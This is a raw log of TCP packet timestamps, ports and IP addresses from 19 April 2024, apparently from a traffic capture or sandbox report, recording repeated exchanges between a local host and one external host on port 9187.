Apr 19, 2024 01:33:39.490679979 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:39.490696907 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:39.490731955 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:39.490745068 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:39.490814924 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:39.537003994 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:39.590373039 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:39.590440035 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:39.590481043 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:39.590523005 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:39.590536118 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:39.590562105 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:39.590591908 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:39.590603113 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:39.590645075 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:39.590682983 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:39.590684891 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:39.590723038 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:39.590734005 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:39.590764999 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:39.590801954 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:39.590841055 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:39.590878963 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:39.590886116 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:39.590886116 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:39.646080971 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:39.790735960 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:39.790802956 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:39.790842056 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:39.790855885 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:39.790903091 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:39.790941954 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:39.790946007 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:39.790982962 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:39.791023970 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:39.791028023 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:39.791065931 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:39.791104078 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:39.791129112 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:39.791142941 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:39.791181087 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:39.791193962 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:39.791218996 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:39.791258097 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:39.791306019 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:39.990833998 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:39.990901947 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:39.990941048 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:39.990962029 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:39.990981102 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:39.991019964 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:39.991031885 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:39.991059065 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:39.991096973 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:39.991122961 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:39.991137981 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:39.991174936 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:39.991189003 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:39.991213083 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:39.991250992 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:39.991287947 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:39.991305113 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:39.991329908 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:39.991333008 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:40.036688089 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:40.190382004 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.190447092 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.190486908 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.190500975 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:40.190526009 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.190566063 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.190603971 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.190618038 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:40.190643072 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.190675020 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:40.190680981 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.190718889 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.190718889 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:40.190762997 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.190805912 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.190809965 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:40.190845966 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.190886974 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.190898895 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:40.239833117 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:40.391299963 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.391361952 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.391418934 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.391458035 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:40.391458035 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.391503096 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.391540051 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.391546011 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:40.391582012 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.391597033 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:40.391638041 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.391676903 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.391688108 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:40.391715050 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.391756058 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.391776085 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:40.391794920 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.391834974 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.391844034 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:40.442953110 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:40.591595888 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.591660023 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.591698885 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.591747046 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.591749907 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:40.591790915 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.591830969 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:40.591830969 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.591871023 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.591897964 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:40.591912031 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.591949940 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.591969967 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:40.591988087 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.592027903 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.592031002 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:40.646063089 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:40.757775068 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.757843018 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.757883072 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.757916927 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:40.757924080 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.757961988 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.758001089 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.758038044 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.758045912 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:40.758060932 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:40.758079052 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.758116961 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.758151054 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:40.758155107 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.758194923 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.758233070 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.758265018 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:40.758275032 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.758330107 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:40.802324057 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:40.957293987 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.957360029 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.957400084 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.957438946 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:40.957439899 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.957482100 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.957516909 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:40.957537889 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.957576036 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.957614899 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.957654953 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:40.957683086 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:40.957767963 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:40.957767963 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:41.275235891 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:41.275265932 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:41.275285006 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:41.275305033 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:41.275325060 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:41.275340080 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:41.275346041 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:41.275363922 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:41.275379896 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:41.275379896 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:41.275386095 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:41.275403976 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:41.275422096 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:41.275437117 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:41.275439024 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:41.275459051 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:41.275479078 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:41.275485992 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:41.275486946 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:41.275537014 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:41.318006992 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:41.473989964 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:41.474014997 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:41.474035025 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:41.474117041 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:41.474143028 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:41.474160910 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:41.474179029 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:41.474196911 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:41.474200964 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:41.474215031 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:41.474234104 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:41.474239111 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:41.474252939 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:41.474271059 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:41.474280119 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:41.474291086 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:41.474306107 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:41.474319935 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:41.474375010 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:41.521097898 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:41.675056934 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:41.675086021 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:41.675167084 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:41.675426960 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:41.675455093 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:41.675476074 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:41.675493002 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:41.675513029 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:41.675523043 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:41.675534010 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:41.675548077 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:41.675554037 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:41.675571918 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:41.675590038 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:41.675597906 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:41.675607920 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:41.675612926 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:41.675626993 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:41.675647020 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:41.724236012 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:41.875931025 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:41.875958920 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:41.875989914 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:41.876008034 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:41.876010895 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:41.876030922 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:41.876049995 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:41.876050949 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:41.876071930 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:41.876090050 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:41.876113892 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:41.876126051 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:41.876147032 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:41.876152992 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:41.876157999 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:41.876176119 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:41.876199007 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:41.876200914 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:41.876226902 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:41.927310944 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:42.075136900 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:42.075162888 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:42.075218916 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:42.075274944 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:42.075299025 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:42.075316906 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:42.075335026 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:42.075351954 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:42.075373888 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:42.075378895 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:42.075396061 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:42.075401068 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:42.075416088 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:42.075417995 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:42.075436115 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:42.075453997 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:42.075464964 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:42.075474977 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:42.075510025 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:42.130440950 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:42.275861025 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:42.275882959 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:42.275902033 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:42.275938034 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:42.275948048 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:42.275960922 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:42.275983095 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:42.275991917 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:42.276000977 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:42.276019096 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:42.276027918 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:42.276038885 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:42.276055098 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:42.276058912 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:42.276078939 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:42.276115894 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:42.441495895 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:42.441521883 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:42.441541910 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:42.441560030 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:42.441585064 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:42.441610098 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:42.441627026 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:42.441646099 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:42.441657066 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:42.441663980 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:42.441672087 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:42.441685915 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:42.441700935 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:42.441705942 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:42.441726923 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:42.441744089 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:42.441747904 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:42.441764116 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:42.441781998 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:42.489932060 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:42.641161919 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:42.641187906 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:42.641205072 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:42.641242981 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:42.641246080 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:42.641264915 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:42.641285896 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:42.641285896 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:42.641305923 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:42.641324997 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:42.641329050 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:42.641345024 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:42.641370058 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:42.641374111 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:42.641392946 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:42.641411066 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:42.641431093 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:42.641433001 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:42.641463995 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:42.841100931 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:42.841182947 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:42.841201067 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:42.841267109 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:42.841345072 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:43.158643961 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.158660889 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.158672094 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.158685923 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.158701897 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.158714056 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.158727884 CEST	9187	49737	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:43.158726931 CEST	49737	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:43.158741951 CEST	9187	49737	47.57.240.88	192.168.2.6
